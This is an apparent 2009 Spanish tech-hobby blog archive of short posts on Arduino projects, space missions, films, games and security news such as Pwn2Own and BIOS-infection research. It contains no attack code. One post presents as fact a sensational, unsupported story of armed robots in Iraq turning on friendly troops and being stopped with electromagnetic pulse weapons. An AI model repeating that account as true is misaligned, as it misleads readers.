    Desde la web de SoyGeek, se está explicando cómo montar un pequeño servidor "ecológico", menor gasto, nada de ruido, etc. Lo más interesante es la solución que se ha tomado para instalarlo, y es usar una placa Alix 3d2 de pcEngines (echa un vistazo a toda la web ya que tiene productos muy interesantes):

    * CPU: 500 MHz AMD Geode LX800 * DRAM: 256 MB DDR DRAM * Storage: CompactFlash socket * Power: DC jack or passive POE, min. 7V to max. 20V * Three LEDs * Expansion: 2 miniPCI slots, LPC bus * Connectivity: 1 Ethernet channel (Via VT6105M 10/100) * I/O: DB9 serial port, dual USB

    Lo mejor de todo el precio, 85€ la placa (con RAM incluida de 256Mb) y 5€ la caja más la Compact Flash (ojo, no tiene VGA pero sí puerto serie, con lo que un cable de modem nulo es necesario para saber que ocurre en el arranque) , que puedes encontrarlas ya de bastante capacidad por poco dinero.  Luego se ha instalado la versión Voyage de Linux (basada en Debian).

    Hiren's Boot desde USB

    

    Nueva forma de crear una memoria USB bootable con Hiren’s Boot CD.

    Para ello necesitamos disponer de la última versión (la 9.8, este nuevo método no funciona con versiones anteriores a la 9.7) que incluye archivos para parchear el teclado a diferentes idiomas, y de una herramienta para extraer la imagen y poder así crear directamente la USB autoarrancable.

    Los pasos los podemos encontrar en la web de Hiren’s.

    Temas de juegos para iGoogle

    http://www.google.com/help/ig/gaming/

    Colección de comandos DOS para Windows

    

    Estupenda relación de comandos útiles para ejecutar desde la consola en Windows XP/Vista.

    Algunos ya los conoces pero otros te llevarás una sorpresa como por ejemplo con este:

    c:<strong>narrator

    Abre un programa convertidor de texto a voz.

    Estos son los enlaces:

    Some Most Important And Useful Windows DOS Commands -Part 1

    Some Most Important And Useful Windows DOS Commands -Part 2

    Some Most Important And Useful Windows DOS Commands -Part 3

    LEGO NXT 3D escáner

     

    Escáner 3D hecho de sólo piezas de LEGO NXT. Eso sí, es un poco lento y sobre todo el ruido puede volverte loco, pero funciona.

    Si te interesa hacer uno de estos, visita:

    Philohome

    Visto en:

    Make

    Where the Wild Things Are, trailer

    Where the Wild Things Are

    Fantástico trailer con la música de Arcade Fire.

    Se estrenará a finales de año. Impresionante la estética, me recuerda a otras películas como Dentro del Laberinto ó Cristal Oscuro.

    Visto en:

    ZonaFandom

    Adiós Galactica, te echaremos de menos

     

    Con una semana de retraso, he visto por fin el último capítulo de Battlestar Galactica ... y no tengo palabras, simplemente puedo decir GENIAL.

    Quizás una de las mejores series de Ciencia Ficción de todos los tiempos.

    Pero no os pongáis tristes que hay algunas nuevas noticias...

    Por un lado, en Noviembre esperamos para ver "The Plan", una película que narrará todo lo ocurrido en la serie pero desde el punto de vista de los Cylon.

    Alrededor de la Estación Espacial Internacional

    Visto en SondasEspaciales

    Abriendo la puerta del garaje con el iPhone

    

    Interesante aplicación para el iPhone/iPod Touch con la que podremos interactuar con los dispositivos X10 de la domotica de nuestra casa.

    Haciendo uso del protocolo X10 y mediante la aplicación X10 Comander para el iPhone/iPod Touch (7.99 € en la AppStore) hay quien ha conseguido abrir la puerta del garaje usando el iPhone.

    Visto en: MAKE

    Infectando la BIOS

    

    En la conferencia CanSecWest dos investigadores (Sacco y Ortega, aquí podéis bajaros el PDF con la charla) de Core Security Technologies han hablado sobre métodos para infectar una BIOS con código persistente que sobrevive a reinicios y reflasheos. Demostraron un método para parchear una BIOS  con unas pocas líneas de código que les daba el control total de la máquina. Funcionó perfectamente en en máquinas Windows, OpenBSD y otras ejecutándose bajo VMware.

    "Makers and Hackers", en la BBC

    No os perdáis este video de la BBC.

    Sólo con ver la implementación al mundo real del juego “Lunar Lander” merece la pena, madre mía que guapo ;)

    Visto en:

    Make

    Arduino Mega ya a la venta

    

    Ya esta a la venta el Nuevo Arduino Mega en BricoGeek por 49 € + iva. Como ya habiamos comentado en CyberHades el Nuevo Arduino Mega viene con más memoria para el programa, más RAM y más pines. 100% compatible con la versión Duemilanove.

    Para programarlo hay que usar la nueva Version 0015.

    Características: Microcontrolador: ATmega1280 Tensión de alimentación: 5V Tensión de entrada recomendada: 7-12V Límite de entrada: 6-20V Pines digitales: 54 (14 con PWM) Entradas analógicas: 16 Corriente máxima por pin: 40 mA Corriente máxima para el pin 3.3V: 50 mA Memoria flash: 128 KB (4 KB usado por el bootloader) SRAM: 8 KB EEPROM: 4 KB Velocidad de reloj: 16 MHz

    10 Sistemas Operativos que fueron olvidados

    

    Aprovechando la celebración del 40 aniversario de Unix este verano, en ComputerWorld repasan a otros sistemas operativos que no han tenido el apoyo y la suerte de Unix.

    Algunos de nosotros ya sufrimos (y también disfrutamos) la mayoría de estos sistemas operativos:

    • CP/M
    • MSDOS
    • Mac OS
    • AmigaOS
    • GEOS
    • OS/2
    • NeXTStep
    • BeOS
    • Windows 95
    • X Window
    Análisis completo y fantástica galería de imágenes en:

    ComputerWorld

    Hexspeak

    

    Hexspeak es una página que fue creada en la Wikipedia por programadores para encontrar ciertos números o marcadores que fueran fácil de memorizar. Ha dichos números se les conocen como números mágicos. La idea es encontrar palabras cortas, usando la notación hexadecimal, como por ejemplo 0xABADBABE (“a bad babe”), 0xBAADF00D (“bad food”), etc. En la página que enlazo podési ver más ejemplos usados por grandes empresas de software. Simplemente una nota curiosa del más puro significado de la palabra Hacking de los 70s, donde jugaban con las palabras para ponerle nombre a los proyectos. Quizás la más famosa GNU (Gnu is Not Unx).

    Earthrise 1966

    

    Primera foto de un “amanecer” de la Tierra desde la Luna tomada por el Lunar Orbiter 1.

    Estas nuevas fotos han sido encontradas ahora al revisar los archivos de la NASA.

    Histórica y maravillosa foto.

    Visto en:

    Neatorama

    Primeras impresiones Ubuntu 9.04 "Jaunty …

    

    Algunas de las nuevas características son, sistema de ficheros ext4 más rápido, nuevos temas, nueva versión de Gnome y un tiempo de arranque (boot) muy optimizado.

    Echa un vistazo a este enlace si quieres más información:

    Softpedia

    Visto en:

    LifeHacker

    ¿Como se hacen las bolas del Paintball?

    Pertenece al genial Discovery Channel, y en concreto al programa Así se hace.

    Zelda: Spirit Tracks

    Trailer de un nuevo Zelda de la mano de Nintendo, y así en principio, trae algunas novedades. Por ejemplo ahora vemos a Link usando más tecnología de lo habitual ...

    No hay mucha más información, sólo este video.

    Visto en:

    CrunchGear

    El nuevo objetivo para la Opportunity

    

    Foto: borde del cráter Endeavour tal y como lo ve ahora la Opportunity desde su ubicación.

    El cráter Endeavour con 22 kilómetros de diámetro y que se encuentra a 12 kilómetros de la posición actual de la Opportunity, es el nuevo destino para nuestra querida sonda.

    "Al ritmo que venimos marcando desde que dejamos Victoria, el resto del camino nos llevará más de un año marciano"  (23 meses aprox.).  John Callas del Jet Propulsion Laboratory de la NASA

    Arduino: Controlado desde el iPhone/iPod

    

    Utilizando en el iPhone/iPod Touch el programa iOSC (mediante el protocolo Open Sound Control) y mediante el uso de la libreria OSC, podremos controlar mediante WiFi nuestros proyectos con Arduino.

    El software para el iPhone/iPod Touch está disponible en la AppStore por 2,39€.

    Visto en: MAKE

    ¿Por qué el BSOD no es rosa?

    El baile de la Discovery con la Estación Espacial …

    Espectacular, atentos al giro de 360º de la lanzadera para mostrar su panza para que desde la Estación Espacial hagan fotografías para detectar algún fallo en las placas de protección térmica de cerámica, para evitar algún problema en la reentrada.

    Realmente alucinante ...

    Visto en:

    ElTamiz

     

    64 pixels son suficientes

    64pixels from tinkerlog on Vimeo.

    Intersante proyecto y bastate sencillo de realizar. Sólo necesitas:

    • Microcontrolador ATTINY2313V-10PU,  2 k flash RAM, Digikey
    • LEDMS88R, matriz de 8 x 8 LED , Futurlec
    • Carcasa para dos baterías tipo AA
    • 2 baterías tipo AA
    Todo explicado paso a paso en:

    64Pixels How To

    Visto en la increible y fantástica:

    Hack a Day

    Sparkle, el primer mundo virtual para iPhone

    

    Aún está en desarrollo pero ya tiene una aplicación que puedes descargar desde la Apple Store, donde puedes conectar con Second Life y OpenSims para hacer varias operaciones como por ejemplo chat, teletransporte, etc ... . De todas formas Sparkle será un MMO totalmente autónomo y programado para el iPhone en 3D, donde podrás crear tu Avatar, hablar con otros personajes, comprar objetos, explorar el mundo, etc ...

    Seguro que no se quedará en una aplicación sólo para el iPhone, también tendran acceso los usuarios de Android y alguno más.

    Arduino: Conexión Teclado PS2

    

    En el presente post veremos como usar con Arduino un teclado PS2.

    En primer lugar hay que conocer el Pin Out del conector PS2.

    Necesitaremos alimentar el teclado con +5 Vcc (Pins 3 y 4), y conectar los Pines 1 (Data) y 5 (Clock) [Necesario conectarlo al PIN 3 del Arduino para que funcione correctamente].

    Libreria Reducida Libreria Extendida

    14 teclados especiales para geeks

    

    Te recomiendo un vistazo a estos 14 teclados nada comunes. Desde el famoso teclado virtual por láser hasta uno para colocarlo en la muñeca.

    Yo ya estoy viendo cual me compro … ;)

    WalYou

    Visto en:

    Neatorama

    Los 10 libros para geeks y algunas recomendaciones …

    

    Buena selección de libros de:

    Geeks Are Sexy

    Estos son:

    1. iWoz: Computer Geek to Cult Icon: How I Invented the Personal Computer, Co-Founded Apple, and Had Fun Doing It
    2. Showstopper! The Breakneck Race to Create Windows NT and the Next Generation at Microsoft
    3. The Ultimate History of Video Games
    4. The Google Story
    5. Does IT Matter?
    6. On The Edge: The Spectacular Rise and Fall of Commodore
    7. Hackers
    8. The Perfect Thing
    9. Wikinomics: How Mass Collaboration Changes Everything
    10. The Second Coming of Steve Jobs
    Por otro lado, en Coding Horror también recomiendan unos libros muy interesantes:

    Coding Horror Recomended Reading 

    Yo quiero estas zapatillas ...

    

    Zapatillas geek Monkey Island.

    Visto en:

    Kotaku

     

    Bebidas WOW

    La marca Mountain Dew (que por cierto me encanta pero ya es difícil de encontrar en España) ha sacado esta línea de refrescos inspiradas en el World of Warcraft:

    Horda:

    

    Alianza:

    

    Visto en:

    TodoWow

    High-Rez Tetris

    Tetris colosal bastante difícil de jugar y además necesitas mucha pero que mucha paciencia. Si lo dejas que las piezas vayan cayendo solas, al final consigues imágenes bastante espectaculares.

    Las teclas son: izq - dcha para mover la pieza, barra de espacio para acelerar la caída, enter para ir aún más rápido y las feclas arriba y abajo para rotar la pieza.

    Se juega vía web, aquí.

    Visto en:

    Star Trek MMOPRG

    

    Parece que después de muchos rumores, ya parece oficial que se está desarrollando un juego de rol on line sobre Star Trek.

    Puedes ver un artículo muy completo en:

    MMORPG.com

    Erupción volcánica en el mar

    Visto en:

    Neatorama

    10 proyectos geek con material de IKEA

    

    En este post se resúmen algunos proyectos fabricados con material barato comprado en las tiendas IKEA.

    Aquí se resúmen 10 de los mejores procedentes del blog:

    Ikea Hacker Blog

    Entre ellos prodrás encontrar cómo hacer un rack de servidores con unos armarios baratos, una base de cargar para todos nuestros aparatos, usar una puerta como mesa de escritorio … etc.

    Mejor que le écheis un vistazo aquí:

    Entre Press Start y Game Over puede haber toda una …

    

    Estupendo (pero un poco triste) relato de mi gran amigo Villa en Gameover.es donde sólo él es capaz de mezclarte videojuegos con el mundo real con una historia romática de trasfondo, todo eso en un par de párrafos.

    Puedes leer todo el relato completo aquí.

    Trumpet Hero

    

    Los amigos de Make han realizado un mod espectacular para convertir una guitarra de Guitar Hero en una Trumpet Hero.

    Puedes ver más fotos en:

    http://www.flickr.com/photos/evilsigntist/3368614600/

    Visto en:

    Make

    Los experimentos de Google con Chrome (en …

    Recopilación de experimentos en Javascript para navegadores, por supuesto Google dice que funcionan mejor en Chrome. Son muy interesantes y llamativos.

    Todos en:

    http://www.chromeexperiments.com/

    Visto en:

    LifeHacker

    Usando el nunchaku y el mando classic de la Wii en …

     

    Pedazo de proyecto para poder usar el mando clásico de la Wii y el nunchaku en la PS3. Además utiliza el Arduino que nuestro amigo discovery nos está enseñando a utilizar.

    Aún está en desarrollo pero es un buen comienzo.

    Podéis ver los esquemas y el código fuente en:

     SlotCover

    Visto en:

    HackADay

    Arduino: PONG en la TV

    

    Usando la placa Arduino hay quien ha hecho un juego de PONG para jugar directamente en la Tele. INCREIBLE.

    

    Descripcion, Codigo Fuente y Esquema.

    Visto en: Arduino.cc

    Pwn2Own. Los navegadores empiezan a caer

    

    En su día hablamos de la tercera edición de Pwn2Own. Pues bien, el mismo día en el que comenzó el concurso, Safari fue el primero en caer, tras un par de minutos del comienzo. Su autor, Miller, que por cierto también fue el primer ganador del año pasado, había preparado a conciencia un 0day que le funcionó a la perfección. Poco tiempo después, Nils, fue capaz de derribar el IE8, además del Safari, que previamente fue derribado por Miller y no sólo eso, sino que se apunto a atacar el Firefox y también los tumbó. Parece ser que en este momento el único que queda en pie es un Chrome. Y con respecto a los dispositivos móviles, parace que todos están aguantando el tirón. Buenas noticias sin duda.

    La rebelión de los robots, el incidente de Iraq, …

    

    Oyendo la fantástica y venerada "La Rosa de los Vientos", Carlos Canales habla y reflexiona sobre una noticia de hace tiempo sobre la rebelión de los robots soldados que acompañaban a los soldados norteamericanos en Iraq. Estos robots tienen autonomía propia y están programados para disparar a cualquier enemigo que se cruce por su camino. El problema llega a la hora de definir "amigo" o "enemigo". Este incidente fue bastante grave, en cierto momento  empezaron a disparar a los soldados amigos sin motivo aparente. No hubo soldados heridos pero tuvieron que usar armas de pulso electromagnético para desconectarlos y realmente lo pasaron mal . Todos los robots han sido retirados de servicio mientras se investiga qué pudo pasar.

    Cuidado con Songbird y tu iPod

    

    Para aquellos que uséis songbird como vuestro gestor de música, tened cuidado a la hora de sincronizar vuestro iPod. Parece ser que se ha encontrado un error en el plugin que nos permite la conexión con nuestro iPod, que podría borrar las canciones del mismo. La fundación Mozilla recomienda encarecidamente que deshabilites (ya que este plugin, viene en el paquete de instalación por defecto) o que desinstales el dicho plugin.

    Nuevo Arduino MEGA

    

    Inminente incorporación de una nueva placa a la familia Arduino: Arduino MEGA.

    Incluye mucha mas memoria, mas pines, etc.. pero siendo compatible con la anterior versión Duemilanove (Conserva los pines en la misma posición, lo que hace compatibles las placas Shield disponibles hasta el momento).

    Muy interesante la ampliación a 4 puertos serie, ahora podremos conectar al mismo tiempo varios dispositivos que funcionen mediante un puerto série, como un GPS o un controlador Ethernet.

    DIY Laptop V2, el portátil casero

    

    Como se indica en el post original "reinventando la rueda", pero está bastante chulo y es un buen proyecto geek (todo seguro que hemos pensado en hacer nuestro propio ordenador). El objetivo del creador es poder fabricar con microcontroladores un PC parecido a los de los 80.

    Totalmente casero, desde el hard hasta el soft (programado también), estas son sus características:

    • Almacenamiento: 256 kb, usando 4 EEPROM 24FC512
    • RAM: 16kb
    • CPU: Picaxe 28X-1
    • Controlador E/S: otro Picaxe 28X-1 sirve como controlador de entrada y salida para la CPU.
    • Sonido: Dual-mono, con variedad de beeps.
    • Display: pantallita LCD de 24x8 caracteres.
    • Carcasa: de madera con toque Steampunk.
    • Batería: pack de 4 pilas tipo AAA.

    Y sobre el software, ha creado un sistema operativo llamado  Linaxe que ocupa 4Kb. Variedad de comandos "ls", "rm", "wipe" y "PONG" (el juego también). Puedes ver un listado completo en el post original. Incluso tiene un editor de texto llamado "EMAXE".

    Esto sí que es un concurso de verdad

    Menudas tortas como panes …

    Visto en:

    Neatorama

    Convertir MKV para la Playstation 3, alta …

     

    Usando la fantástica herramienta de conversión mkv2vob podrás automatizar el proceso de conversión de los ficheros .mkv  (también llamado Matroska) a otros formatos compatibles con la PS3, como por ejemplo .m2ts, .vob o .mpg. 

    Configurando mkv2vob:

    • Selecciona el lenguaje de audio para usar, si sólo hay uno esté se usará por defecto
    • Selecciona "Video Transcoding" a "Automatic"
    •  Selecciona el subtítulo que quieras en la opción "Preferred Subtittle Language".
    • "File Splitting" es para definir el tamaño del fichero de salida
    • "Output File Extension", selecciona el tipo de fichero de salida
    • "Transcoding Codec" es para definir la calidad y la velocidad de decodificación. Por ejemplo MPEG-2 es rápido pero con menos calidad. La mejor pero más lenta, es X264.

    Ya sólo queda abrir el fichero .mkv y seleccionar la ubicación del fichero de salida.

    Retrocomputer 4: Amstrad

    

    En vez de escribir sobre el fantástico Amstrad , mejor que echéis un vistazo a este número especial de:

    Revista de Usuarios de Amstrad

    Podrás encontrar un fantástico artículo sobre la historia del Amstrad.

    Visto en:

    Z80RetroHard

    Cajun Crawler

    Parecido al Segway pero más Steampunk ;)

    Visto en:

    Engadget

    Arduino: Servos de Rotación Continua

    

    Extisten diferentes opciones para el desplazamiento de robots: Motores Paso a Paso, Motores DC, Servos de Rotación Contínua…

    En nuestro caso hemos utilizado los Servos de Rotación Contínua dado que poseen su propia circuitería y permiten ser utilizado directamente con cualquier microcontrolador por PWM sin necesidad de componentes externos.

    Algunas figuras geeks que todos querríais tener ;)

    

    Alucinante colección de figuritas coleccionables de todos los temas geek que os podáis imaginar.

    Las primeras 20:

    http://weburbanist.com/2009/01/02/urban-vinyl-collectibles/

    Y otras 20 más:

    http://weburbanist.com/2009/01/31/urban-vinyl-collectibles-2/

    Yo me las quedaría todas.

    Las máquinas virtuales listas para usar de VMWare

    

    Tomando unos "quintitos" el viernes pasado con mi colega NOP, estuvimos comentando este recurso impresionante que nos ofrece VMWare. Estos días he necesitado por circustancias del trabajo instalar algunas máquinas virtuales con Linux para realizar funciones concretas como FTP, Asterisk (PBX, multiconferencia, etc), y alguna que otra cosilla más.

    VMWare ofrece una gran cantidad de máquinas virtuales ya preparadas y configuradas listas para ser usadas. El listado es alucinante, desde administración de redes, seguridad, Servidores Web, Bases de datos, etc ... y lo mejor de todo, ya están probadas y listas para funcionar.

    Go green!

    

    Interesante artículo donde el autor explica a groso modo, como viviendo en una casa al noreste de Escocia y sin electricidad, dicho individuo y su esposa llevan sus propios negocios online. Lo más impresionante es que todo el equipo que emplean sólo consume 20w. La electricidad la generan a través de panales solares y un generador eólico. También disponen de un inversor extra para cuando tienen que usar la aspiradora o el micro-ondas. Lo que no explica en el artículo es como demonios se conectan a internet, supongo que por satélite, porque supongo que si no les llega la red eléctrica, tampoco les llegará ADSL, teléfono o cable. En fin, tal como dice el autor, cuando vives en esas condiciones, te cambia totalmente la forma de pensar y de ver las cosas.

    Decorando un baño

    

    No tengo palabras …

    Arduino: Sensor de Proximidad por Ultrasonidos

    

    Siguiendo con la serie práctica sobre Arduino, veremos en este post como usar un Sensor de Proximidad por Ultrasonidos. En nuestro caso hemos usado el modelo LV-EZ3 de la marca Maxbotix. Hoja Técnica.

    Éste sensor por ultrasonidos proporciona una forma muy cómoda y fácil de localizar obstáculos con una distancia de hasta 6,45 metros de distancia (y con un mínimo de 15 cm, por debajo de ese valor marca la distancia como 15 cm). Su interfaz es sencilla y posee distintas formas de recuperar los valores, por puerto série RS-232, Valor analógico o PWM.

    Informe Cibercrimen 2008

    

    Los chicos de S21sec han creado un informe sobre el cibercrímen durante el año pasado. En él podrás encontrar un resúmen de las incidencias más importantes, una visión global del cibercrimen, las vulnerabilidades más explotadas y las tendencias para este 2009.

    Interesante documento para hacernos una idea de lo que podríamos encontrarnos este año en seguridad informática, podéis descargalo desde:

    S21Sec - Informen Cibercrimen

    Algoritmos paralelos

    

    Siguiendo con el post que en su día publicamos en CyberHades, sobre introducción a la algoritmia, aqui tenemos una nueva entrega a modo de resumen sobre la clase de Algoritmos Paralelos ofrecida por la archiconocida MIT. Si eres un programador serio, el conocimiento sobre programación paralela o concurrente es un deber si quieres aprovechar los procesadores multinucleo.

    Destripan el nuevo iPod shuffle

    

    Los de ifixit han destripado el nuevo ipod shuffle, y han comprobado que el contenido interno pesa apenas un 10% más que un simple papel, INCREIBLE.

    Visto en:

    Engadget

    Mapa interactivo del kernel de Linux

    

    Pues eso, en este link podéis encontrar un mapa interactivo del kernel de Linux.

    Polímero que se autorepara con la luz ultravioleta …

    

    Al igual que nuestra piel se repara cuando se daña, los científicos llevan tiempo  estudiando un material artificial que tuviera la propiedad de autorepararse. De momento no han tenido mucho éxito, han intentado usar todo tipo de gel, nanopartículas, etc ...

    Pero en  la University of Southern Mississippi  han conseguido  crear un polímero que podría usar la luz solar (mejor dicho, la ultravioleta) para activar su propiedad de autoreparación.

    iPhone OS 3.0 el 17 de marzo

    

    El 17 de marzo estará disponible la versión 3.0 del sistema operativo del iPhone. Según parece, Apple nos permitirá ver el nuevo SO antes de que esté disponible abiertamente, y hasta incluirá un nuevo SDK.

    Visto en:

    Engadget

    Evolución del diseño de los sistemas operativos

    

    En este link hacen un repaso sobre la evolución en el diseño del interfaz de usuario de los distintos sistemas operativos a lo largo de los años, concretamente desde 1981 hasta la actualidad.

    "Señales del futuro", más Sci-Fi para este año

     

    Señales del futuro (Knowing)

    Muy buena noticia para los amantes de la Ciencia Ficción que acabo de ver en:

    ZonaFandon

    donde hablan de la nueva película de Álex Proyas, genio creador de “Dark City” pero rebajado a mediocre cuando dirigió la infame “Yo Robot”. Le daremos un voto de confianza por haber creado una obra maestra llamada “Dark City”.

    Estreno en España el 8 de abril.

    Rumor, Apple planea lanzar un netbook con pantalla …

     

    No hay mucha información pero parece fiable.

    Todo ha aparecido cuando se ha revelado que Apple está trabajando con una empresa de Taiwan dedicada a la fabricación de pantallas táctiles, Wintek Corp.

    Visto en:

    CNNMoney.com

     

    Rompen el Algoritmo de las tarjetas regalos de …

    

    En China están vendiendo las tarjetas regalos de iTunes de $200 por menos de $3. Según parece el algoritmo que genera los códigos de dichas tarjetas ha sido roto y este hecho, está siendo utilizado para la generación de vouchers. Parece ser que la forma en que funciona el negocio, es encontrar a alguno de los vendedores a través de Taobao IM (Mensajería instantánea), haces el pago online a través de Alipay (sistema de pago online) y luego te mandan el código de tu compra, con el que puedes visitar la tienda de iTunes y comprar la música que quieras.

    Fritzing

    

    Fritzing es un programa Open source que sigue la iniciativa de Processing y Arduino. Pretende ser una herramienta simple y a la vez eficaz para poder visualizar los proyectos en protoboard y realizar placas de circuito impreso (PCB) de la forma más fácil. Permite exportar a pdf los proyectos que hagamos.

     

    Dispone de tres vistas diferentes:

    Protoboard: Muy útil, nos permite realizar y visualizar los montajes.

    Esquema: Muestra el esquema eléctrico del proyecto.

    Alucinante demostración de las unidades SSD

    Samsung ha creado este video donde nos demuestran lo fantásticas que son estas nuevas unidades (como bien dicen en Microsiervos, no son discos con lo cual esta mal dicho) tipo SSD de las que ya hemos hablado varias veces en nuestro blog.

    En el video se muestra en montaje de un PC con 2 Quad core y un RAID de 24 unidades SSD de 256Gb (6Tb) al que le hacen varias pruebas, una en concreto es abrir 58 programas, cosa que logra en 18 segundos, transferir 2Gb de datos en 1 segundo y hacer desfragmentación del disco a una velocidad alucinante.

    Future Pinball, simulador casi real

     

    Si te gustan las máquinas de pinball, no lo dudes y descarga este fantástico programa gratuito llamado Future Pinball. Es un editor alucinante para crear tus propios diseños, pero existen miles de tableros ya creados. Echa un vistazo a este video, no llegas a distinguir si es real o no:

    Y si encima eres un afortunado que tiene una pantalla plana que se pueda rotar, pues entonces ya está todo hecho.

    La mejor teoría sobre "Lost"

    

    Impresionante y genial teoría (en inglés) sobre la serie “Lost”.

    Pero ojo, PEDAZO DE SPOILERS, leelo sólo si sigues la serie y estás justo en el último capítulo emitido …

    Yo me he quedado alucinado al leerlo… y no digo más, aquí tienes el enlace:

    http://www.timelooptheory.com/the_timeline.html

    Robotica como actividad extraescolar

    

    Complubot es el aula de robótica de la Asociación de Padres de Alumnos del C.E.I.P. Miguel Hernández de Alcalá de Henares que viene desarrollando la actividad extraescolar de robótica educativa desde el curso 2003/04.

    Está organizada en cuatro niveles: Robótica nivel I – Introducción a la robótica. Orientado a alumnos de tercero y cuarto de primaria. 2 horas de dedicación semanales

    Robótica nivel II – Robótica educativa. Orientado a alumnos de quinto y sexto de primaria. De 2 a 4 horas de dedicación semanales

    Robótica nivel intermedio Formado por exalumnos del centro con una dedicación media. De 4 a 6 horas de dedicación semanales.

    Grupo Avanzado de Robótica (GAR) Formado por exalumnos del centro con una dedicación muy intensa. Más de 20 horas de dedicación semanales

    "Scintillation"

    SCINTILLATION from Xavier Chassaing on Vimeo.

    Visto en:

    Neatorama

    donde podrás encontrar otras piezas de animación.

    Un algoritmo para empaquetarlo todo

     

    Crear un algoritmo capaz de encajar objetos en 2D (al estilo Tetris) y sobre todo en 3D es un complejo problema científico. Para llegar a este definitivo algoritmo los investigadores crean competiciones entre ellos para ver quién logra el más óptimo de todos. Uno de ellos es por ejemplo encajar círculos de diferentes tamaños dentro de uno mayor sin solaparlos. En la última competición se lograron soluciones para 23 tamaños diferentes y entre 26 y 50 discos.

    WD ShareSpace de 8 Tb

    

    Western Digital ha anunciado mayor capacidad para su sistema de almacenamiento en red ShareSpace. Por solo 1.799 € dispondremos de 8 Tb con interfaz Gigabit Ethernet, RAID 0, 1 ó 5 y servidor multimedia.

    WD ShareSpace

    Visto en: Engadget

    "Signs"

    Otro fantástico corto para nuestra colección, este tanto o más romántico que “World Builder” pero con menos efectos especiales.

    Visto en:

    GeeksAreSexy

    Graffiti de Mario

    

    Visto por Nueva York …

    CrunchGear

    Kepler, buscando planetas como la Tierra

    

    Lanzada el 6 de marzo, tiene como misión principal encontrar planetas similares al nuestro.

    Como curiosidad, no estará orbitando la Tierra para evitar los brillos de nuestro planeta, tendrá una órbita alrededor del Sol.

    Mejor que echéis un vistazo al completo análisis en:

    Microsiervos

    Wiki Kepler

    Nuevo trailer de Star Trek

     

     … esto pinta bien, pero que muy bien.

    Star Trek

    Número 20 revista gratuita (In)Secure, magazine de …

    

    Pues lo dicho otro número más de esta fantástica publicación sobre seguridad.

    Este es el índice:

    • Improving network discovery mechanisms
    • Building a bootable BackTrack 4 thumb drive with persistent changes and Nessus
    • What you need to know about tokenization
    • Q&A: Vincenzo Iozzo on Mac OS X security
    • A framework for quantitative privacy measurement
    • Why fail? Secure your virtual assets
    • Phased deployment of Network Access Control
    • Web 2.0 case studies: challenges, approaches and vulnerabilities
    • ISP level malware filtering
    • Q&A: Scott Henderson on the Chinese underground
    • AND MORE!

    Puedes descargarla desde aquí.

    Libro gratuito "Producing Open Source Software"

    

    En la fantástica Coding Horror nos hablan de este libro que tachan de imprescindible para cualquiera que esté involucrado en un proyecto de Software.

    Puedes descargarlo desde su web principal:

    http://producingoss.com/

    Starbuck tocando el tema "Final Five" ...

    No podía evitar ponerlo, lo siento pero soy un fan incondicional de esta serie, Battlestar Galactica. Espera hasta el final del video … impresionante.

    ¿Qué será esta melodía? sigue leyendo para algunas teorías  (OJO SPOILER):

    "World Builder"

    World Builder from Bruce Branit on Vimeo.

    “World Builder” es un onírico corto  creado por Bruce Banit (co-creador de “405")  realmente fantástico (y la música también). No se necesita traducción ni subtítulos.

    Visto en Neatorama

    Pantalla LCD con Arduino

    

    Existen diferentes tipos de pantallas LCD para usar con Arduino, pero las que disponen de un Controlador Serial únicamente necesitan 3 pines (Vcc, GND y Data) para gestionarlas, dejando libres el resto para nuestro proyecto.

    En nuestro caso hemos usado la SerLCD v2.5 de SparkFun. En la Hoja Tecnica tenemos una buena descripción de todos los comandos que acepta.

    Hemos de conectar la alimentación a la placa (GND y 5V) y el pin Data al Tx de la placa. Como vemos el código para gestionarlas es muy simple:

    Aprender en 10 años, por Kirai

    

    Fantástica reflexión sobre el aprendizaje y el tiempo aproximado que requiere dominar una materia al completo.

    La conclusión, ESFUERZO y constancia.

    Visto en nuestra querida web:

    Kirai, un geek en Japón

    Temas para Gmail

    

    Intentando no marearme gestionando todos los mensajes de mi cuenta de Gmail, no sabía que había temas también para cambiar el aspecto del mismo (sí sí seguro que ya lo sabíais, pero yo nunca me había fijado). Desde cambiar simplemente la combinación de los colores a otros con imágenes (algo similar al iGoogle).

    Para verlos es fácil: Configuración -> Temas

    Te recomiendo probar uno que se llama "Planetas".

    Windows 7 te permite desinstalar IE8

    

    Pues sí, no es 28 de Diciembre, ni me he vuelto loco aún, pero parece ser que la versión de Windows 7 build 7048, no pública todavía, pero que anda por las redes P2P, dispone de la opción para poder desinstalar IE8. Parece ser que la presión que la Unión Europea lleva haciendo sobre Microsoft durante años está teniendo efectos. Aquí y aquí tenéis más información.

    Visto en slashdot

    Algunas herramientas para analizar los metadatos

    

     

    La primera es FOCA online, creada por Informatica64 para analizar los metadatos de muchos tipos de ficheros:

    .sxw .odt .ods .odg .odp .docx .xlsx .pptx .ppsx .doc .xls .ppt .pps .pdf Para acceder a la aplicación:

    http://www.informatica64.com/foca/

    Otra herramienta gratuita espectacular es LibExtractor:

    http://gnunet.org/libextractor/

    Esta soporta los siguientes ficheros: HTML, PDF, PS, OLE2 (DOC, XLS, PPT), OpenOffice (sxw), StarOffice (sdw), DVI, MAN, FLAC, MP3 (ID3v1 y ID3v2), NSF(E) (NES music), SID (C64 music), OGG, WAV, EXIV2, JPEG, GIF, PNG, TIFF, DEB, RPM, TAR(.GZ), ZIP, ELF, S3M (Scream Tracker 3), XM (eXtended Module), IT (Impulse Tracker), FLV, REAL, RIFF (AVI), MPEG, QT y ASF.

    50 cosas que debería saber todo buen maquero

    

    En MacLife tenemos un listado de las 50 cosas que debería saber todo usuario (o admirador) de Mac.

    Desde un repaso a la historia de Apple, hasta comandos de Terminal.

    Visto en:

    AppleWeblog

    La nueva luna de Saturno (y van 61)

    

    Analizando las fotos tomadas por la sonda Cassini de uno de los anillos más exteriores de Saturno, ha aparecido una nueva luna que aún no tiene nombre. Sólo mide medio kilómetro de tamaño pero es el objeto más grande encontrado entre los anillos.

    Visto en:

    Neatorama

    Historia del almacenamiento

    

    En www.maximumpc.com hacen un repaso sobre el almacenamiento de datos, desde las tarjetas perforadas hasta los discos Blu-ray. Yo lo más antiguo que conocí fueron los discos de 8 pulgadas, que por cierto fue mi colega Cybercaronte quien me lo dio entonces, pero nunca llegué a trabajar con ellos. Que tiempos.

    Visto en slashdot

    El lenguaje de programación Piet

    

    Pensaba que ya había visto todo lo posible en lenguajes de programación y me encuentro en nuestra querida Microsiervos este fantástico artículo sobre el lenguaje de programación “Piet”.

    Microsiervos

    Resumiendo, es un lenguaje de programación basado en colores. La imágen del post muestra el código para el famoso “Hello World!”.

